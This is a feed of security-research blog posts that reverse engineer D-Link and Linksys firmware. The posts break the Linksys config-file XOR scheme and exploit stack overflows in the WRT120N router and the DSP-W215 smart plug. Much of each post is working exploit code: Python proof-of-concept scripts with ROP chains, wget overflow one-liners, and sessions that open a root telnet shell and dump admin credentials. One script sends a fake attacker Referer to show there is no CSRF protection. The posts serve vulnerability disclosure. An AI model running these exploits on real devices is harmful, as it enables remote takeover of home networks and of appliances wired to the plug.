The ever neighborly Travis Goodspeed pointed out that this backdoor is used by the /bin/xmlsetc binary in the D-Link firmware. After some grepping, I found several binaries that appear to use xmlsetc to automatically re-configure the device’s settings (example: dynamic DNS). My guess is that the developers realized that some programs/services needed to be able to change the device’s settings automatically; realizing that the web server already had all the code to change these settings, they decided to just send requests to the web server whenever they needed to change something. The only problem was that the web server required a username and password, which the end user could change. Then, in a eureka moment, Joel jumped up and said, “Don’t worry, for I have a cunning plan!”.

Also, several people have reported in the comments that some versions of the DIR-615 are also affected, including those distributed by Virgin Mobile. I have not yet verified this, but it seems quite reasonable.

UPDATE #2:

Arbitrary code execution is also possible, thanks to the backdoor. Proof of concept.

Cracking Linksys “Encryption”

$
0
0

Perusing the release notes for the latest Linksys WRT120N firmware, one of the more interesting comments reads:

Firmware 1.0.07 (Build 01)
- Encrypts the configuration file.

Having previously reversed their firmware obfuscation and patched their code to re-enable JTAG debugging, I thought that surely I would be able to use this access to reverse the new encryption algorithm used to secure their backup configuration files.

Boy was I giving them way too much credit.

Here’s a diff of two backup configuration files from the WRT120N. The only change made between backups was that the administrator password was changed from “admin” in backup_config_1.bin to “aa” in backup_config_2.bin:

OFFSET        backup_config_1.bin              backup_config_2.bin
----------------------------------------------------------------------------------------
0x00001468    9E 9B 92 96 91 FF FF FF |........| / 9E 9E FF FF FF FF FF FF |........|

Two things to note here:

  • The first letter of each password (“a”) is encrypted to the same value (0x9E)
  • The same letter (“a”) is encrypted to the same value (0x9E), regardless of its position in the password

I immediately suspected some sort of simple single-byte XOR encryption. If true, then XORing the known plain text (“a”, aka, 0×61) with the known cipher text (0x9E) should produce the XOR key:

0x61 ^ 0x9E = 0xFF

Applying the XOR key of 0xFF to the other characters in the password gives us:

0x9E ^ 0xFF = a
0x9B ^ 0xFF = d
0x92 ^ 0xFF = m
0x96 ^ 0xFF = i
0x91 ^ 0xFF = n

And XORing every byte in the config file with 0xFF gives us a decrypted config file:

00000000  33 34 35 36 00 01 df 60  00 00 46 ec 76 31 2e 30  |3456...`..F.v1.0|
00000010  2e 30 37 00 00 00 00 00  00 00 00 00 00 00 00 00  |.07.............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 57 52 54 31  |............WRT1|
00000030  32 30 4e 00 00 00 00 00  00 00 00 00 00 00 00 00  |20N.............|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000080  61 64 6d 69 6e 00 00 00  00 00 00 00 00 00 00 00  |admin...........|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  61 64 6d 69 6e 00 00 00  |........admin...|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000100  00 00 00 00 00 00 00 00  30 2e 30 2e 30 2e 30 00  |........0.0.0.0.|
00000110  00 00 00 00 00 00 00 00  01 01 01 00 00 00 00 01  |................|
00000120  00 00 00 01 00 00 00 00  00 00 00 08 32 39 34 38  |............2948|
00000130  33 31 30 35 00 01 00 00  00 31 39 32 2e 31 36 38  |3105.....192.168|
00000140  2e 31 2e 31 00 00 00 00  00 32 35 35 2e 32 35 35  |.1.1.....255.255|
00000150  2e 32 35 35 2e 30 00 00  00 00 00 00 04 00 02 00  |.255.0..........|
00000160  01 00 00 00 00 00 00 00  00 00 00 00 00 00 4c 4f  |..............LO|
00000170  4f 50 42 41 43 4b 00 00  00 00 31 32 37 2e 30 2e  |OPBACK....127.0.|
00000180  30 2e 31 00 00 00 00 00  00 00 32 35 35 2e 32 35  |0.1.......255.25|
00000190  35 2e 32 35 35 2e 32 35  35 00 00 00 00 00 00 00  |5.255.255.......|
000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000001b0  00 00 00 00 49 52 51 3d  30 20 50 4f 52 54 3d 30  |....IRQ=0 PORT=0|
000001c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...

This is truly atrocious. Given that “encrypting” the backup configuration files is done presumably to protect end users, expecting this to thwart any attacker and touting it as a product feature is unforgivable.

OK, I don’t really care that much. I’m just disappointed that it took longer to write this blog post than it did to break their “crypto”.

WRT120N fprintf Stack Overflow

$
0
0

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

401 Unauthorized

401 Unauthorized

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

bypass_file_list("/cgi-bin/login /images/ /login...");

bypass_file_list(“/cgi-bin/login /images/ /login…”);

Full list of bypass files

Full list of bypass files

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

cgi_tmUnBlock function handler

cgi_tmUnBlock function handler

The interesting bit of code to focus on is this:

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:

fprintf

fprintf

Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

Respect yourself. Don't use sprintf.

Respect yourself. Don’t use sprintf.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
Stack trace of the crash

Stack trace of the crash

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

Admin password at 0x81544AF0

Admin password at 0x81544AF0

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

fprintf's function epilogue

fprintf’s function epilogue

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

First ROP gadget

First ROP gadget

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0×60 to the stack pointer:

cgi_tmUnblock function epilogue

cgi_tmUnblock function epilogue

We’ve already added 0×10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0×50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

Second ROP gadget

Second ROP gadget

This gadget only adds 0×10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

ROP stack frames and relevant registers

ROP stack frames and relevant registers

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys
import urllib2

try:
    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]
    sys.exit(1)

url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "\x81\x54\x4A\xF0"         # $s0, address of admin password in memory
post_data += "\x80\x31\xF6\x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "\x80\x34\x71\xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler

for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "\x80\x34\x71\xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "\n\n" and terminating
                                        # NULL byte)

try:
    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
    else:
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
    pass
Logging in with a blank password after exploitation

Logging in with a blank password after exploitation

Arbitrary code execution is also possible, but that’s another post for another day.

EELive Slides

$
0
0

Just got back from the EELive conference in San Jose – great talks, great people, and way better weather than we had back here on the east coast.

For those interested, the slides for my talk, “Finding and Reverse Engineering Backdoors in Consumer Firmware” can be found here. If you get a chance to go next year, I highly recommend it!

Hacking the D-Link DSP-W215 Smart Plug

$
0
0

The D-Link DSP-W215 Smart Plug is a wireless home automation device for monitoring and controlling electrical outlets. It isn’t readily available from Amazon or Best Buy yet, but the firmware is up on D-Link’s web site.

The D-Link DSP-W215

The D-Link DSP-W215

TL;DR, the DSP-W215 contains an unauthenticated stack overflow that can be exploited to take complete control of the device, and anything connected to its AC outlet.

The DSP-W215 firmware contains all the usual stuff you would expect from a Linux-based device:

DSP-W215 Firmware Analysis

DSP-W215 Firmware Analysis

After unpacking and examining the contents of the file system, I found that the smart plug doesn’t have a normal web-based interface; you are expected to configure it using D-Link’s Android/iOS app. The apps however, appear to use the Home Network Administration Protocol (HNAP) to talk to the smart plug.

Being a SOAP-based protocol, HNAP is served up by a lighttpd server running on the smart plug, and the following excerpt from the lighttpd configuration file(s) shows that HNAP requests are passed off to the /www/my_cgi.cgi binary for processing:

...

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",

...

While HNAP is an authenticated protocol, some HNAP actions – specifically the GetDeviceSettings action – do not require authentication:

XML Output from the GetDeviceSettings Action

XML Output from the GetDeviceSettings Action

GetDeviceSettings only provides a list of supported actions and isn’t of much use by itself, but this does mean that my_cgi.cgi has to parse the request prior to checking for authentication.

HNAP request data is handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, do_hnap first processes the Content-Length header specified in the POST request:

Converting the Content-Length String to an Integer

Converting the Content-Length String to an Integer

Then, naturally, it reads content_length bytes into a fixed-size stack buffer:

fgetc Read Loop

fgetc Read Loop

The following C code is perhaps a bit clearer:

int content_length, i;
char *content_length_str;
char post_data_buf[500000];

content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");

if(content_length_str)
{
   content_length = strtol(content_length_str, 10);
}

memset(post_data_buf, 0, 500000);

for(i=0; i<content_length; i++)
{
   post_data_buf[i] = fgetc();
}

From the memset it is obvious that the post_data_buf stack buffer is only intended to hold up to 500,000 bytes. Since the Content-Length header is trusted blindly, POSTing more than 500,000 bytes will overflow this buffer, and 1,000,020 bytes will overwrite everything on the stack up to the saved return address:

# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
$ra Overwritten With 0x41414141

$ra Overwritten With 0×41414141

What’s more, because the POST data is read into the buffer with an fgetc loop, there are no bad bytes – even NULL bytes are allowed. That’s nice, because at 0x00405CAC in my_cgi.cgi there is this little bit of code that loads $a0 (the first function argument register) with a pointer to the stack ($sp+0×28) and calls system():

system($sp+0x28);

system($sp+0×28);

We just need to overwrite the saved return address with 0x00405CAC and put whatever command we want to run onto the stack at offset 0×28:

import sys
import urllib2

command = sys.argv[1]

buf =  "D" * 1000020         # Fill up the stack buffer
buf += "\x00\x40\x5C\xAC"    # Overwrite the return address on the stack
buf += "E" * 0x28            # Stack filler
buf += command               # Command to execute
buf += "\x00"                # NULL terminate the command string

req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

Even better, the stdout of any command we execute is returned in the server’s response:

eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
-rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www

We can dump configuration settings and admin creds:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//

Or start up a telnet server to get a proper root shell:

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.


BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

After reversing a bit more of my_cgi.cgi, I found that all you need to do to turn the wall outlet on and off is execute /var/sbin/relay:

/var/sbin/relay 1   # Turns outlet on 
/var/sbin/relay 0   # Turns outlet off 

You can run a little script on the smart plug to play blinkenlights:

#!/bin/sh

OOK=1

while [ 1 ]
do
   /var/bin/relay $OOK

   if [ $OOK -eq 1 ]
   then
      OOK=0
   else
      OOK=1
   fi
done

Controlling a wall outlet can have more serious implications however, as exemplified the following D-Link advertisement:

A Rather Misleading D-Link Advertisement

A Rather Misleading D-Link Advertisement

While the smart plug may be able detect overheating, I suspect that it can only detect if the smart plug itself is overheating – it has no way to monitor the actual temperature of any devices plugged into the wall outlet. So, if you’ve left a space heater plugged in to the outlet and some nefarious person surreptitiously turns the outlet back on, you’re in for a bad day.

It’s unclear if the smart plug attempts to make itself remotely accessible (using UPnP port forwarding rules, for example), as the Android configuration app simply doesn’t work. It couldn’t even establish an initial connection to the smart plug, although my laptop had no problems. When it finally did, it refused to create a MyDlink account for remote access, with the very helpful error message “could not create account”. Although it said it had configured the smart plug to connect to my wireless network, the smart plug did not connect to my network, and it ceased to present itself as an access point for initial configuration. With the wireless borked and no ethernet connection, I was left with no means to further communicate with it. Oh, and there’s no hard reset button either. Ah well, it’s going in the bin anyway.

I suspect that anyone else who has purchased this device hasn’t been able to get it to work either, which is probably a good thing. At any rate, I’d be wary of connecting such a device to either my network or my appliances.

Incidentally, D-Link’s DIR-505L travel router is also affected by this bug, as it has a nearly identical my_cgi.cgi binary.

PoC code for both devices can be found here.


Hacking the DSP-W215, Again

$
0
0

D-Link recently released firmware v1.02 for the DSP-W215 to address the HNAP buffer overflow bug in my_cgi.cgi. Although they were quick to remove the download link for the new firmware (you must “Use mobile application to upgrade device”), I grabbed a copy of it before my trip to Munich this week, and the 8 hour flight provided plenty of quality reversing time to analyze the new firmware more closely.

Unfortunately, the HNAP bug was just the beginning of the smart plug’s problems.

The lighttpd config file shows that the my_cgi.cgi binary is used to handle multiple page requests, not just HNAP:

alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)

The my_cgi.cgi’s main function has two basic code branches; one for HNAP requests, and one for everything else:

Conditional branch for HNAP vs CGI requests

Conditional branch for HNAP vs CGI requests

If the HTTP request was not for HNAP (e.g., /common/info.cgi), and if the request was a POST request, then my_cgi.cgi next grabs several HTTP request headers, including Content-Length:

strtol(getenv(

strtol(getenv(“CONTENT_LENGTH”), 10);

As long as the content length is greater than zero, the get_input_entries function is called, which is responsible for reading and parsing the POST parameters:

get_input_entries(&entries, content_length);

get_input_entries(&entries, content_length);

The get_input_entries function takes two arguments: a pointer to an entries data structure, and the size of the POST data (aka, the content length):

struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};

// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);

This is particularly suspect, as the only length parameter that is passed to get_input_entries is the content length that was specified in the HTTP request, and the structure pointer is a pointer to a local stack variable in the main function:

int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes

content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));

num_entries = get_input_entries(&my_entries, content_length);

Sure enough, get_input_entries has an fgetc loop (nearly identical to the fgetc loop that caused the HNAP vulnerability), which parses out the POST names and values and blindly stores them in the entries data structure:

The fgetc for loop

The fgetc for loop

fgetc(stdin) inside the for loop

fgetc(stdin) inside the for loop

Value read from fgetc is stored in the name/value members of the entries data structure

Value read from fgetc is stored in the name/value members of the entries data structure

Since the entries data structure in this case is a stack variable in main, an excessively long POST value will cause get_input_entries to overflow main’s stack.

In order to prevent crashing prematurely before returning to main (more on this in another post…), we want to exit the get_input_entries function as quickly as possible. This is most easily done by specifying a single POST parameter named “storage_path”, as most of the remaining code in get_input_entries is skipped if this POST parameter is encountered:

Checking the entry name for "storage_path"

Checking the entry name for “storage_path”

Looking back at the stack layout for main, we can see that the start of the entries data structure is 0×74944 bytes away from the saved return address on the stack:

Stack layout of the main function

Stack layout of the main function

Since the POST name takes up the first 36 bytes of the data structure, a POST value of 477472 (0×74944-36) bytes will overflow everything on the stack up to the saved return address:

# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
$ra overwritten with 0x41414141

$ra overwritten with 0×41414141

With control of $ra, we can now return to the same system() call that was used in the HNAP overflow in order to execute arbitrary commands:

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code:

#!/usr/bin/env python

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "\x00\x40\x5C\xEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

Which works quite handily against the new firmware:

./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www

Hacking the DSP-W215, Again, Again

$
0
0

Here we go again…again.

In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:

Checking the POST parameter name against "storage_path" and "path"

Checking the POST parameter name against “storage_path” and “path”

The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:

replace_special_char(entries[i]->value);

replace_special_char(entries[i]->value);

The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:

List of ASCII characters to be URL decoded, if necessary

List of ASCII characters to be URL decoded, if necessary

To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:

post_value_length = strlen(post_data);

post_value_length = strlen(post_data);

And loops through post_value_length bytes:

Loop while i < post_value_length

Loop while i < post_value_length

On each loop iteration, it stores one byte (either the URL decoded byte, or if URL decoding was not necessary, the original byte from the POST value data) into the local stack variable decode_buf:

decode_buf[j] = post_data[i];

decode_buf[j] = post_data[i];

Essentially, it’s doing this:

void replace_special_char(char *post_data)
{
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;

    memset(decode_buf, 0, sizeof(decode_buf));

    post_value_length = strlen(post_data);

    while(i < post_value_length)
    {
        /* 
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...
         */

        // No bounds checking on index j!
        decode_buf[j] = post_data[i];
        j++;
        i++;
    }

    ...

    return;
}

Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:

Stack layout of replace_special_char

Stack layout of replace_special_char

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
$ra = 0x42424242

$ra = 0×42424242

Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.

At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:

First ROP gadget

First ROP gadget

If during the stack overflow we overwrite $s1 with the address of offset 0×34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:

Second ROP gadget

Second ROP gadget

As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:

system($sp+0xB8);

After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:

#!/usr/bin/env python
# Exploits overflow in replace_special_char.

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "\x2A\xBA\xCC\x80"   # $s0, address of system()
buf += "\x2A\xB9\x56\x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care 
buf += "F" * 4              # $s3, don't care
buf += "F" * 4              # $s4, don't care 
buf += "F" * 4              # $s5, don't care
buf += "F" * 4              # $s6, don't care 
buf += "F" * 4              # $s7, don't care 
buf += "F" * 4              # $fp, don't care 
buf += "\x2A\xB6\xCA\x50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

And, as before, we can execute any command, and get the output as well:

$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

Hacking the DSP-W215, Again, Again, Again

$
0
0

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.

The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).

The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:

The decode while loop

The decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
{
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
    {
        /*
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...
         */

        decode_buf[0] = decoded_byte;
        decode_buf++;
        encoded_data += encoded_byte_len;
    }
}

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.

There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:

Only the "path" POST parameter is decoded

Only the “path” POST parameter is decoded

We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0×400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
{
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);
}

replace_special_char(entries[i]->value);

This means that providing a POST “path” value greater than 0×400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00″ in our POST request, for example) before copying them to the stack.

However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.

Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.

A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:

The get_input_entries stack layout

The get_input_entries stack layout

And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0×28):

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0×28:

import sys
import urllib
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')

# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
